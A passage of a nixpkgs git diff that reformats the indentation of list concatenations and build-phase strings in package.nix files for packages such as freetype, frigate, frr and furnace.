-  ] ++ lib.unique (lib.concatMap (mod: mod.inputs) enabledModules);
+  ]
+  ++ lib.unique (lib.concatMap (mod: mod.inputs) enabledModules);
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/fr/freetalk/package.nix b/pkgs/by-name/fr/freetalk/package.nix
index 7c1f9c00c5d4..eb1d8d851ae8 100644
--- a/pkgs/by-name/fr/freetalk/package.nix
+++ b/pkgs/by-name/fr/freetalk/package.nix
@@ -30,23 +30,22 @@ stdenv.mkDerivation rec {
     pkg-config
     texinfo
   ];
-  buildInputs =
-    [
-      guile
-      glib
-      loudmouth
-      gmp
-      libidn
-      readline
-      libtool
-      libunwind
-      ncurses
-      curl
-      jansson
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      argp-standalone
-    ];
+  buildInputs = [
+    guile
+    glib
+    loudmouth
+    gmp
+    libidn
+    readline
+    libtool
+    libunwind
+    ncurses
+    curl
+    jansson
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    argp-standalone
+  ];
 
   env.NIX_LDFLAGS = lib.optionalString stdenv.hostPlatform.isDarwin "-largp";
 
diff --git a/pkgs/by-name/fr/freetds/package.nix b/pkgs/by-name/fr/freetds/package.nix
index 8fdbc124c6f7..a2dfa2ca735f 100644
--- a/pkgs/by-name/fr/freetds/package.nix
+++ b/pkgs/by-name/fr/freetds/package.nix
@@ -24,7 +24,8 @@ stdenv.mkDerivation rec {
 
   buildInputs = [
     openssl
-  ] ++ lib.optional odbcSupport unixODBC;
+  ]
+  ++ lib.optional odbcSupport unixODBC;
 
   nativeBuildInputs = [
     autoreconfHook
diff --git a/pkgs/by-name/fr/freetube/package.nix b/pkgs/by-name/fr/freetube/package.nix
index d20bbcb9bc10..3daf94c56da4 100644
--- a/pkgs/by-name/fr/freetube/package.nix
+++ b/pkgs/by-name/fr/freetube/package.nix
@@ -60,28 +60,27 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     copyDesktopItems
   ];
 
-  installPhase =
-    ''
-      runHook preInstall
-    ''
-    + lib.optionalString stdenvNoCC.hostPlatform.isLinux ''
-      mkdir -p $out/share/freetube
-      cp -r build/*-unpacked/{locales,resources{,.pak}} -t $out/share/freetube
+  installPhase = ''
+    runHook preInstall
+  ''
+  + lib.optionalString stdenvNoCC.hostPlatform.isLinux ''
+    mkdir -p $out/share/freetube
+    cp -r build/*-unpacked/{locales,resources{,.pak}} -t $out/share/freetube
 
-      makeWrapper ${lib.getExe electron} $out/bin/freetube \
-        --add-flags "$out/share/freetube/resources/app.asar" \
-        --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations --enable-wayland-ime=true}}"
+    makeWrapper ${lib.getExe electron} $out/bin/freetube \
+      --add-flags "$out/share/freetube/resources/app.asar" \
+      --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations --enable-wayland-ime=true}}"
 
-      install -D _icons/icon.svg $out/share/icons/hicolor/scalable/apps/freetube.svg
-    ''
-    + lib.optionalString stdenvNoCC.hostPlatform.isDarwin ''
-      mkdir -p $out/Applications
-      cp -r build/mac*/FreeTube.app $out/Applications
-      ln -s "$out/Applications/FreeTube.app/Contents/MacOS/FreeTube" $out/bin/freetube
-    ''
-    + ''
-      runHook postInstall
-    '';
+    install -D _icons/icon.svg $out/share/icons/hicolor/scalable/apps/freetube.svg
+  ''
+  + lib.optionalString stdenvNoCC.hostPlatform.isDarwin ''
+    mkdir -p $out/Applications
+    cp -r build/mac*/FreeTube.app $out/Applications
+    ln -s "$out/Applications/FreeTube.app/Contents/MacOS/FreeTube" $out/bin/freetube
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   desktopItems = [
     (makeDesktopItem {
diff --git a/pkgs/by-name/fr/freetype/package.nix b/pkgs/by-name/fr/freetype/package.nix
index a1644a35a3fb..2ffbca5c44f6 100644
--- a/pkgs/by-name/fr/freetype/package.nix
+++ b/pkgs/by-name/fr/freetype/package.nix
@@ -58,19 +58,19 @@ stdenv.mkDerivation (finalAttrs: {
   ]; # needed when linking against freetype
 
   # dependence on harfbuzz is looser than the reverse dependence
-  nativeBuildInputs =
-    [
-      pkg-config
-      which
-      __flattenIncludeHackHook
-    ]
-    ++ lib.optional (!stdenv.hostPlatform.isWindows) makeWrapper
-    # FreeType requires GNU Make, which is not part of stdenv on FreeBSD.
-    ++ lib.optional (!stdenv.hostPlatform.isLinux) gnumake;
+  nativeBuildInputs = [
+    pkg-config
+    which
+    __flattenIncludeHackHook
+  ]
+  ++ lib.optional (!stdenv.hostPlatform.isWindows) makeWrapper
+  # FreeType requires GNU Make, which is not part of stdenv on FreeBSD.
+  ++ lib.optional (!stdenv.hostPlatform.isLinux) gnumake;
 
   patches = [
     ./enable-table-validation.patch
-  ] ++ lib.optional useEncumberedCode ./enable-subpixel-rendering.patch;
+  ]
+  ++ lib.optional useEncumberedCode ./enable-subpixel-rendering.patch;
 
   outputs = [
     "out"
@@ -96,16 +96,15 @@ stdenv.mkDerivation (finalAttrs: {
 
   # pkgsCross.mingwW64.pkg-config doesn't build
   # makeWrapper doesn't cross-compile to windows #120726
-  postInstall =
-    ''
-      substituteInPlace $dev/bin/freetype-config \
-        --replace ${buildPackages.pkg-config} ${pkgsHostHost.pkg-config}
-    ''
-    + lib.optionalString (!stdenv.hostPlatform.isMinGW) ''
+  postInstall = ''
+    substituteInPlace $dev/bin/freetype-config \
+      --replace ${buildPackages.pkg-config} ${pkgsHostHost.pkg-config}
+  ''
+  + lib.optionalString (!stdenv.hostPlatform.isMinGW) ''
 
-      wrapProgram "$dev/bin/freetype-config" \
-        --set PKG_CONFIG_PATH "$PKG_CONFIG_PATH:$dev/lib/pkgconfig"
-    '';
+    wrapProgram "$dev/bin/freetype-config" \
+      --set PKG_CONFIG_PATH "$PKG_CONFIG_PATH:$dev/lib/pkgconfig"
+  '';
 
   passthru.tests = {
     inherit
diff --git a/pkgs/by-name/fr/freexl/package.nix b/pkgs/by-name/fr/freexl/package.nix
index 1509121ee4d0..b3137b6613f4 100644
--- a/pkgs/by-name/fr/freexl/package.nix
+++ b/pkgs/by-name/fr/freexl/package.nix
@@ -24,7 +24,8 @@ stdenv.mkDerivation rec {
     expat
     minizip
     zlib
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin libiconv;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin libiconv;
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/fr/frei0r/package.nix b/pkgs/by-name/fr/frei0r/package.nix
index e9ebe6fd03d8..33e4bce96c39 100644
--- a/pkgs/by-name/fr/frei0r/package.nix
+++ b/pkgs/by-name/fr/frei0r/package.nix
@@ -26,15 +26,14 @@ stdenv.mkDerivation rec {
     cmake
     pkg-config
   ];
-  buildInputs =
-    [
-      cairo
-      opencv
-    ]
-    ++ lib.optionals cudaSupport [
-      cudaPackages.cuda_cudart
-      cudaPackages.cuda_nvcc
-    ];
+  buildInputs = [
+    cairo
+    opencv
+  ]
+  ++ lib.optionals cudaSupport [
+    cudaPackages.cuda_cudart
+    cudaPackages.cuda_nvcc
+  ];
 
   postInstall = lib.optionalString stdenv.hostPlatform.isDarwin ''
     for f in $out/lib/frei0r-1/*.so* ; do
diff --git a/pkgs/by-name/fr/fribidi/package.nix b/pkgs/by-name/fr/fribidi/package.nix
index 5fedf8f1d396..0d506b3ad8b8 100644
--- a/pkgs/by-name/fr/fribidi/package.nix
+++ b/pkgs/by-name/fr/fribidi/package.nix
@@ -37,7 +37,8 @@ stdenv.mkDerivation (finalAttrs: {
     meson
     ninja
     pkg-config
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin fixDarwinDylibNames;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin fixDarwinDylibNames;
 
   depsBuildBuild = [ buildPackages.stdenv.cc ];
 
diff --git a/pkgs/by-name/fr/frigate/package.nix b/pkgs/by-name/fr/frigate/package.nix
index 5b8024232b6c..1ba1470bdadf 100644
--- a/pkgs/by-name/fr/frigate/package.nix
+++ b/pkgs/by-name/fr/frigate/package.nix
@@ -64,54 +64,53 @@ python.pkgs.buildPythonApplication rec {
 
   patches = [ ./constants.patch ];
 
-  postPatch =
-    ''
-      echo 'VERSION = "${version}"' > frigate/version.py
+  postPatch = ''
+    echo 'VERSION = "${version}"' > frigate/version.py
 
-      substituteInPlace \
-        frigate/app.py \
-        frigate/test/test_{http,storage}.py \
-        frigate/test/http_api/base_http_test.py \
-        --replace-fail "Router(migrate_db)" 'Router(migrate_db, "${placeholder "out"}/share/frigate/migrations")'
+    substituteInPlace \
+      frigate/app.py \
+      frigate/test/test_{http,storage}.py \
+      frigate/test/http_api/base_http_test.py \
+      --replace-fail "Router(migrate_db)" 'Router(migrate_db, "${placeholder "out"}/share/frigate/migrations")'
 
-      substituteInPlace frigate/const.py \
-        --replace-fail "/opt/frigate" "${placeholder "out"}/${python.sitePackages}" \
-        --replace-fail "/media/frigate" "/var/lib/frigate" \
-        --replace-fail "/tmp/cache" "/var/cache/frigate" \
-        --replace-fail "/config" "/var/lib/frigate" \
-        --replace-fail "{CONFIG_DIR}/model_cache" "/var/cache/frigate/model_cache"
+    substituteInPlace frigate/const.py \
+      --replace-fail "/opt/frigate" "${placeholder "out"}/${python.sitePackages}" \
+      --replace-fail "/media/frigate" "/var/lib/frigate" \
+      --replace-fail "/tmp/cache" "/var/cache/frigate" \
+      --replace-fail "/config" "/var/lib/frigate" \
+      --replace-fail "{CONFIG_DIR}/model_cache" "/var/cache/frigate/model_cache"
 
-      substituteInPlace frigate/comms/{config,embeddings}_updater.py frigate/comms/{zmq_proxy,inter_process}.py \
-        --replace-fail "ipc:///tmp/cache" "ipc:///run/frigate"
+    substituteInPlace frigate/comms/{config,embeddings}_updater.py frigate/comms/{zmq_proxy,inter_process}.py \
+      --replace-fail "ipc:///tmp/cache" "ipc:///run/frigate"
 
-      substituteInPlace frigate/db/sqlitevecq.py \
-        --replace-fail "/usr/local/lib/vec0" "${lib.getLib sqlite-vec}/lib/vec0${stdenv.hostPlatform.extensions.sharedLibrary}"
+    substituteInPlace frigate/db/sqlitevecq.py \
+      --replace-fail "/usr/local/lib/vec0" "${lib.getLib sqlite-vec}/lib/vec0${stdenv.hostPlatform.extensions.sharedLibrary}"
 
-    ''
-    # clang-rocm, provided by `rocmPackages.clr`, only works on x86_64-linux specifically
-    + lib.optionalString (with stdenv.hostPlatform; isx86_64 && isLinux) ''
-      substituteInPlace frigate/detectors/plugins/rocm.py \
-        --replace-fail "/opt/rocm/bin/rocminfo" "rocminfo" \
-        --replace-fail "/opt/rocm/lib" "${rocmPackages.clr}/lib"
+  ''
+  # clang-rocm, provided by `rocmPackages.clr`, only works on x86_64-linux specifically
+  + lib.optionalString (with stdenv.hostPlatform; isx86_64 && isLinux) ''
+    substituteInPlace frigate/detectors/plugins/rocm.py \
+      --replace-fail "/opt/rocm/bin/rocminfo" "rocminfo" \
+      --replace-fail "/opt/rocm/lib" "${rocmPackages.clr}/lib"
 
-    ''
-    + ''
-      # provide default paths for models and maps that are shipped with frigate
-      substituteInPlace frigate/config/config.py \
-        --replace-fail "/cpu_model.tflite" "${tflite_cpu_model}" \
-        --replace-fail "/edgetpu_model.tflite" "${tflite_edgetpu_model}"
+  ''
+  + ''
+    # provide default paths for models and maps that are shipped with frigate
+    substituteInPlace frigate/config/config.py \
+      --replace-fail "/cpu_model.tflite" "${tflite_cpu_model}" \
+      --replace-fail "/edgetpu_model.tflite" "${tflite_edgetpu_model}"
 
-      substituteInPlace frigate/detectors/detector_config.py \
-        --replace-fail "/labelmap.txt" "${placeholder "out"}/share/frigate/labelmap.txt"
+    substituteInPlace frigate/detectors/detector_config.py \
+      --replace-fail "/labelmap.txt" "${placeholder "out"}/share/frigate/labelmap.txt"
 
-      substituteInPlace frigate/events/audio.py \
-        --replace-fail "/cpu_audio_model.tflite" "${placeholder "out"}/share/frigate/cpu_audio_model.tflite" \
-        --replace-fail "/audio-labelmap.txt" "${placeholder "out"}/share/frigate/audio-labelmap.txt"
+    substituteInPlace frigate/events/audio.py \
+      --replace-fail "/cpu_audio_model.tflite" "${placeholder "out"}/share/frigate/cpu_audio_model.tflite" \
+      --replace-fail "/audio-labelmap.txt" "${placeholder "out"}/share/frigate/audio-labelmap.txt"
 
-      # work around onvif-zeep idiosyncrasy
-      substituteInPlace frigate/ptz/onvif.py \
-        --replace-fail dist-packages site-packages
-    '';
+    # work around onvif-zeep idiosyncrasy
+    substituteInPlace frigate/ptz/onvif.py \
+      --replace-fail dist-packages site-packages
+  '';
 
   dontBuild = true;
 
diff --git a/pkgs/by-name/fr/froide/package.nix b/pkgs/by-name/fr/froide/package.nix
index ce9b14189440..ee29b10c390d 100644
--- a/pkgs/by-name/fr/froide/package.nix
+++ b/pkgs/by-name/fr/froide/package.nix
@@ -183,17 +183,16 @@ python.pkgs.buildPythonApplication rec {
     "test_make_request_logged_out_with_existing_account"
   ];
 
-  preCheck =
-    ''
-      export PGUSER="froide"
-      export postgresqlEnableTCP=1
-      export postgresqlTestUserOptions="LOGIN SUPERUSER"
-      export GDAL_LIBRARY_PATH="${gdal}/lib/libgdal.so"
-      export GEOS_LIBRARY_PATH="${geos}/lib/libgeos_c.so"
-    ''
-    + lib.optionalString (!stdenv.hostPlatform.isRiscV) ''
-      export PLAYWRIGHT_BROWSERS_PATH="${playwright-driver.browsers}"
-    '';
+  preCheck = ''
+    export PGUSER="froide"
+    export postgresqlEnableTCP=1
+    export postgresqlTestUserOptions="LOGIN SUPERUSER"
+    export GDAL_LIBRARY_PATH="${gdal}/lib/libgdal.so"
+    export GEOS_LIBRARY_PATH="${geos}/lib/libgeos_c.so"
+  ''
+  + lib.optionalString (!stdenv.hostPlatform.isRiscV) ''
+    export PLAYWRIGHT_BROWSERS_PATH="${playwright-driver.browsers}"
+  '';
 
   # Playwright tests not supported on RiscV yet
   doCheck = lib.meta.availableOn stdenv.hostPlatform playwright-driver.browsers;
diff --git a/pkgs/by-name/fr/frr/clippy-helper.nix b/pkgs/by-name/fr/frr/clippy-helper.nix
index 6df78f385f8a..11165b512068 100644
--- a/pkgs/by-name/fr/frr/clippy-helper.nix
+++ b/pkgs/by-name/fr/frr/clippy-helper.nix
@@ -29,13 +29,12 @@ stdenv.mkDerivation {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      python3
-    ]
-    ++ lib.optionals (lib.meta.availableOn stdenv.hostPlatform elfutils) [
-      elfutils
-    ];
+  buildInputs = [
+    python3
+  ]
+  ++ lib.optionals (lib.meta.availableOn stdenv.hostPlatform elfutils) [
+    elfutils
+  ];
 
   configureFlags = [
     "--enable-clippy-only"
diff --git a/pkgs/by-name/fr/frr/package.nix b/pkgs/by-name/fr/frr/package.nix
index 757b8d270877..2e5537f40072 100644
--- a/pkgs/by-name/fr/frr/package.nix
+++ b/pkgs/by-name/fr/frr/package.nix
@@ -95,49 +95,47 @@ stdenv.mkDerivation (finalAttrs: {
   # compilation errors.
   CXXFLAGS = "-std=gnu++23";
 
-  nativeBuildInputs =
-    [
-      autoreconfHook
-      bison
-      flex
-      perl
-      pkg-config
-      protobufc
-      python3.pkgs.sphinx
-      texinfo
-    ]
-    ++ lib.optionals grpcSupport [
-      which
-    ];
+  nativeBuildInputs = [
+    autoreconfHook
+    bison
+    flex
+    perl
+    pkg-config
+    protobufc
+    python3.pkgs.sphinx
+    texinfo
+  ]
+  ++ lib.optionals grpcSupport [
+    which
+  ];
 
-  buildInputs =
-    [
-      c-ares
-      json_c
-      libunwind
-      libyang
-      openssl
-      pam
-      pcre2
-      protobufc
-      python3
-      readline
-      rtrlib
-      zeromq
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libcap
-    ]
-    ++ lib.optionals snmpSupport [
-      net-snmp
-    ]
-    ++ lib.optionals (lib.meta.availableOn stdenv.hostPlatform elfutils) [
-      elfutils
-    ]
-    ++ lib.optionals grpcSupport [
-      grpc
-      protobuf
-    ];
+  buildInputs = [
+    c-ares
+    json_c
+    libunwind
+    libyang
+    openssl
+    pam
+    pcre2
+    protobufc
+    python3
+    readline
+    rtrlib
+    zeromq
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libcap
+  ]
+  ++ lib.optionals snmpSupport [
+    net-snmp
+  ]
+  ++ lib.optionals (lib.meta.availableOn stdenv.hostPlatform elfutils) [
+    elfutils
+  ]
+  ++ lib.optionals grpcSupport [
+    grpc
+    protobuf
+  ];
 
   # otherwise in cross-compilation: "configure: error: no working python version found"
   depsBuildBuild = [
@@ -151,63 +149,62 @@ stdenv.mkDerivation (finalAttrs: {
     frrSource = finalAttrs.src;
   };
 
-  configureFlags =
-    [
-      "--disable-silent-rules"
-      "--disable-exampledir"
-      "--enable-configfile-mask=0640"
-      "--enable-group=frr"
-      "--enable-logfile-mask=0640"
-      "--enable-multipath=${toString numMultipath}"
-      "--enable-user=frr"
-      "--enable-vty-group=frrvty"
-      "--localstatedir=/run/frr"
-      "--sbindir=${placeholder "out"}/libexec/frr"
-      "--sysconfdir=/etc/frr"
-      "--with-clippy=${finalAttrs.clippy-helper}/bin/clippy"
-      # general options
-      (lib.strings.enableFeature snmpSupport "snmp")
-      (lib.strings.enableFeature rpkiSupport "rpki")
-      (lib.strings.enableFeature watchfrrSupport "watchfrr")
-      (lib.strings.enableFeature rtadvSupport "rtadv")
-      (lib.strings.enableFeature irdpSupport "irdp")
-      (lib.strings.enableFeature routeReplacementSupport "rr-semantics")
-      (lib.strings.enableFeature mgmtdSupport "mgmtd")
-      (lib.strings.enableFeature grpcSupport "grpc")
+  configureFlags = [
+    "--disable-silent-rules"
+    "--disable-exampledir"
+    "--enable-configfile-mask=0640"
+    "--enable-group=frr"
+    "--enable-logfile-mask=0640"
+    "--enable-multipath=${toString numMultipath}"
+    "--enable-user=frr"
+    "--enable-vty-group=frrvty"
+    "--localstatedir=/run/frr"
+    "--sbindir=${placeholder "out"}/libexec/frr"
+    "--sysconfdir=/etc/frr"
+    "--with-clippy=${finalAttrs.clippy-helper}/bin/clippy"
+    # general options
+    (lib.strings.enableFeature snmpSupport "snmp")
+    (lib.strings.enableFeature rpkiSupport "rpki")
+    (lib.strings.enableFeature watchfrrSupport "watchfrr")
+    (lib.strings.enableFeature rtadvSupport "rtadv")
+    (lib.strings.enableFeature irdpSupport "irdp")
+    (lib.strings.enableFeature routeReplacementSupport "rr-semantics")
+    (lib.strings.enableFeature mgmtdSupport "mgmtd")
+    (lib.strings.enableFeature grpcSupport "grpc")
 
-      # routing protocols
-      (lib.strings.enableFeature bgpdSupport "bgpd")
-      (lib.strings.enableFeature ripdSupport "ripd")
-      (lib.strings.enableFeature ripngdSupport "ripngd")
-      (lib.strings.enableFeature ospfdSupport "ospfd")
-      (lib.strings.enableFeature ospf6dSupport "ospf6d")
-      (lib.strings.enableFeature ldpdSupport "ldpd")
-      (lib.strings.enableFeature nhrpdSupport "nhrpd")
-      (lib.strings.enableFeature eigrpdSupport "eigrpd")
-      (lib.strings.enableFeature babeldSupport "babeld")
-      (lib.strings.enableFeature isisdSupport "isisd")
-      (lib.strings.enableFeature pimdSupport "pimd")
-      (lib.strings.enableFeature pim6dSupport "pim6d")
-      (lib.strings.enableFeature sharpdSupport "sharpd")
-      (lib.strings.enableFeature fabricdSupport "fabricd")
-      (lib.strings.enableFeature vrrpdSupport "vrrpd")
-      (lib.strings.enableFeature pathdSupport "pathd")
-      (lib.strings.enableFeature bfddSupport "bfdd")
-      (lib.strings.enableFeature pbrdSupport "pbrd")
-      (lib.strings.enableFeature staticdSupport "staticd")
-      # BGP options
-      (lib.strings.enableFeature bgpAnnounce "bgp-announce")
-      (lib.strings.enableFeature bgpBmp "bgp-bmp")
-      (lib.strings.enableFeature bgpVnc "bgp-vnc")
-      # OSPF options
-      (lib.strings.enableFeature ospfApi "ospfapi")
-      # Cumulus options
-      (lib.strings.enableFeature cumulusSupport "cumulus")
-    ]
-    ++ lib.optionals snmpSupport [
-      # Used during build for paths, `dev` has build shebangs so can be run during build.
-      "NETSNMP_CONFIG=${lib.getDev net-snmp}/bin/net-snmp-config"
-    ];
+    # routing protocols
+    (lib.strings.enableFeature bgpdSupport "bgpd")
+    (lib.strings.enableFeature ripdSupport "ripd")
+    (lib.strings.enableFeature ripngdSupport "ripngd")
+    (lib.strings.enableFeature ospfdSupport "ospfd")
+    (lib.strings.enableFeature ospf6dSupport "ospf6d")
+    (lib.strings.enableFeature ldpdSupport "ldpd")
+    (lib.strings.enableFeature nhrpdSupport "nhrpd")
+    (lib.strings.enableFeature eigrpdSupport "eigrpd")
+    (lib.strings.enableFeature babeldSupport "babeld")
+    (lib.strings.enableFeature isisdSupport "isisd")
+    (lib.strings.enableFeature pimdSupport "pimd")
+    (lib.strings.enableFeature pim6dSupport "pim6d")
+    (lib.strings.enableFeature sharpdSupport "sharpd")
+    (lib.strings.enableFeature fabricdSupport "fabricd")
+    (lib.strings.enableFeature vrrpdSupport "vrrpd")
+    (lib.strings.enableFeature pathdSupport "pathd")
+    (lib.strings.enableFeature bfddSupport "bfdd")
+    (lib.strings.enableFeature pbrdSupport "pbrd")
+    (lib.strings.enableFeature staticdSupport "staticd")
+    # BGP options
+    (lib.strings.enableFeature bgpAnnounce "bgp-announce")
+    (lib.strings.enableFeature bgpBmp "bgp-bmp")
+    (lib.strings.enableFeature bgpVnc "bgp-vnc")
+    # OSPF options
+    (lib.strings.enableFeature ospfApi "ospfapi")
+    # Cumulus options
+    (lib.strings.enableFeature cumulusSupport "cumulus")
+  ]
+  ++ lib.optionals snmpSupport [
+    # Used during build for paths, `dev` has build shebangs so can be run during build.
+    "NETSNMP_CONFIG=${lib.getDev net-snmp}/bin/net-snmp-config"
+  ];
 
   postPatch = ''
     substituteInPlace tools/frr-reload \
diff --git a/pkgs/by-name/fr/frugally-deep/package.nix b/pkgs/by-name/fr/frugally-deep/package.nix
index baa42437f5f0..7435378c68f4 100644
--- a/pkgs/by-name/fr/frugally-deep/package.nix
+++ b/pkgs/by-name/fr/frugally-deep/package.nix
@@ -23,14 +23,13 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-yg2SMsYOOSOgsdwIH1bU3iPM45z6c7WeIrgOddt3um4=";
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-    ]
-    ++ lib.optionals buildTests [
-      python3Packages.python
-      python3Packages.numpy
-    ];
+  nativeBuildInputs = [
+    cmake
+  ]
+  ++ lib.optionals buildTests [
+    python3Packages.python
+    python3Packages.numpy
+  ];
 
   buildInputs = lib.optionals buildTests [
     doctest
diff --git a/pkgs/by-name/fs/fsverity-utils/package.nix b/pkgs/by-name/fs/fsverity-utils/package.nix
index 4ef7a2357b83..babacd82e2c0 100644
--- a/pkgs/by-name/fs/fsverity-utils/package.nix
+++ b/pkgs/by-name/fs/fsverity-utils/package.nix
@@ -16,7 +16,8 @@ stdenv.mkDerivation rec {
     "out"
     "lib"
     "dev"
-  ] ++ lib.optional enableManpages "man";
+  ]
+  ++ lib.optional enableManpages "man";
 
   src = fetchzip {
     url = "https://git.kernel.org/pub/scm/fs/fsverity/fsverity-utils.git/snapshot/fsverity-utils-v${version}.tar.gz";
@@ -36,7 +37,8 @@ stdenv.mkDerivation rec {
   makeFlags = [
     "DESTDIR=$(out)"
     "PREFIX="
-  ] ++ lib.optional enableShared "USE_SHARED_LIB=1";
+  ]
+  ++ lib.optional enableShared "USE_SHARED_LIB=1";
 
   doCheck = true;
 
diff --git a/pkgs/by-name/ft/ft2-clone/package.nix b/pkgs/by-name/ft/ft2-clone/package.nix
index 17058192ecdb..e8a55311a255 100644
--- a/pkgs/by-name/ft/ft2-clone/package.nix
+++ b/pkgs/by-name/ft/ft2-clone/package.nix
@@ -21,12 +21,13 @@ stdenv.mkDerivation rec {
   };
 
   nativeBuildInputs = [ cmake ];
-  buildInputs =
-    [ SDL2 ]
-    ++ lib.optional stdenv.hostPlatform.isLinux alsa-lib
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    SDL2
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux alsa-lib
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   passthru.tests = {
     ft2-clone-starts = nixosTests.ft2-clone;
diff --git a/pkgs/by-name/fu/furmark/package.nix b/pkgs/by-name/fu/furmark/package.nix
index adc2f9dc66d4..c4a4f2b18e62 100644
--- a/pkgs/by-name/fu/furmark/package.nix
+++ b/pkgs/by-name/fu/furmark/package.nix
@@ -55,7 +55,8 @@ stdenv.mkDerivation (finalAttrs: {
   buildInputs = [
     libGL
     libGLU
-  ] ++ lib.optionals stdenv.hostPlatform.isAarch64 [ libxcrypt-legacy ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isAarch64 [ libxcrypt-legacy ];
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/by-name/fu/furnace/package.nix b/pkgs/by-name/fu/furnace/package.nix
index f6364c9db281..4143891b9046 100644
--- a/pkgs/by-name/fu/furnace/package.nix
+++ b/pkgs/by-name/fu/furnace/package.nix
@@ -46,37 +46,35 @@ stdenv.mkDerivation (finalAttrs: {
       --replace-fail 'libX11.so' '${lib.getLib libX11}/lib/libX11.so'
   '';
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      makeWrapper
-    ];
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    makeWrapper
+  ];
 
-  buildInputs =
-    [
-      fftw
-      fmt
-      freetype
-      libsndfile
-      rtmidi
-      SDL2
-      zlib
-      portaudio
-    ]
-    ++ lib.optionals withGL [
-      libGL
-    ]
-    ++ lib.optionals withJACK [
-      libjack2
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      # portaudio pkg-config is pulling this in as a link dependency, not set in propagatedBuildInputs
-      alsa-lib
-      libX11
-    ];
+  buildInputs = [
+    fftw
+    fmt
+    freetype
+    libsndfile
+    rtmidi
+    SDL2
+    zlib
+    portaudio
+  ]
+  ++ lib.optionals withGL [
+    libGL
+  ]
+  ++ lib.optionals withJACK [
+    libjack2
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    # portaudio pkg-config is pulling this in as a link dependency, not set in propagatedBuildInputs
+    alsa-lib
+    libX11
+  ];
 
   cmakeFlags = [
     (lib.cmakeBool "BUILD_GUI" withGUI)
diff --git a/pkgs/by-name/fu/fuse-archive/package.nix b/pkgs/by-name/fu/fuse-archive/package.nix
index 4dd183b0569f..ce3b9b338cfd 100644
--- a/pkgs/by-name/fu/fuse-archive/package.nix
+++ b/pkgs/by-name/fu/fuse-archive/package.nix
@@ -19,16 +19,15 @@ stdenv.mkDerivation rec {
     hash = "sha256-Fta/IYKWsB4ZuPOWtGO6p6l03eoRXaO0lIGaCU3SRag=";
   };
 
-  postPatch =
-    ''
-      substituteInPlace Makefile \
-        --replace-fail "/usr" "$out"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace src/main.cc \
-        --replace-fail "!defined(__OpenBSD__)" "!defined(__OpenBSD__) && !defined(__APPLE__)" \
-        --replace-fail " | O_PATH" ""
-    '';
+  postPatch = ''
+    substituteInPlace Makefile \
+      --replace-fail "/usr" "$out"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace src/main.cc \
+      --replace-fail "!defined(__OpenBSD__)" "!defined(__OpenBSD__) && !defined(__APPLE__)" \
+      --replace-fail " | O_PATH" ""
+  '';
 
   nativeBuildInputs = [ pkg-config ];
 
diff --git a/pkgs/by-name/fu/fuzzel/package.nix b/pkgs/by-name/fu/fuzzel/package.nix
index bfe63be3ef39..8e3e76bdf7d0 100644
--- a/pkgs/by-name/fu/fuzzel/package.nix
+++ b/pkgs/by-name/fu/fuzzel/package.nix
@@ -49,18 +49,17 @@ stdenv.mkDerivation (finalAttrs: {
     scdoc
   ];
 
-  buildInputs =
-    [
-      wayland
-      pixman
-      wayland-protocols
-      libxkbcommon
-      tllist
-      fcft
-    ]
-    ++ lib.optional enableCairo cairo
-    ++ lib.optional pngSupport libpng
-    ++ lib.optional (svgSupport && svgBackend == "librsvg") librsvg;
+  buildInputs = [
+    wayland
+    pixman
+    wayland-protocols
+    libxkbcommon
+    tllist
+    fcft
+  ]
+  ++ lib.optional enableCairo cairo
+  ++ lib.optional pngSupport libpng
+  ++ lib.optional (svgSupport && svgBackend == "librsvg") librsvg;
 
   mesonBuildType = "release";
 
diff --git a/pkgs/by-name/fv/fvwm2/package.nix b/pkgs/by-name/fv/fvwm2/package.nix
index 8f541fca0e75..515e156b02da 100644
--- a/pkgs/by-name/fv/fvwm2/package.nix
+++ b/pkgs/by-name/fv/fvwm2/package.nix
@@ -56,7 +56,8 @@ stdenv.mkDerivation rec {
     perl
     python3Packages.python
     readline
-  ] ++ lib.optional enableGestures libstroke;
+  ]
+  ++ lib.optional enableGestures libstroke;
 
   pythonPath = [
     python3Packages.pyxdg
diff --git a/pkgs/by-name/fw/fwup/package.nix b/pkgs/by-name/fw/fwup/package.nix
index 08b2e2c6937a..ec019533a80a 100644
--- a/pkgs/by-name/fw/fwup/package.nix
+++ b/pkgs/by-name/fw/fwup/package.nix
@@ -44,16 +44,15 @@ stdenv.mkDerivation rec {
     zlib
   ];
 
-  propagatedBuildInputs =
-    [
-      coreutils
-      unzip
-      zip
-    ]
-    ++ lib.optionals doCheck [
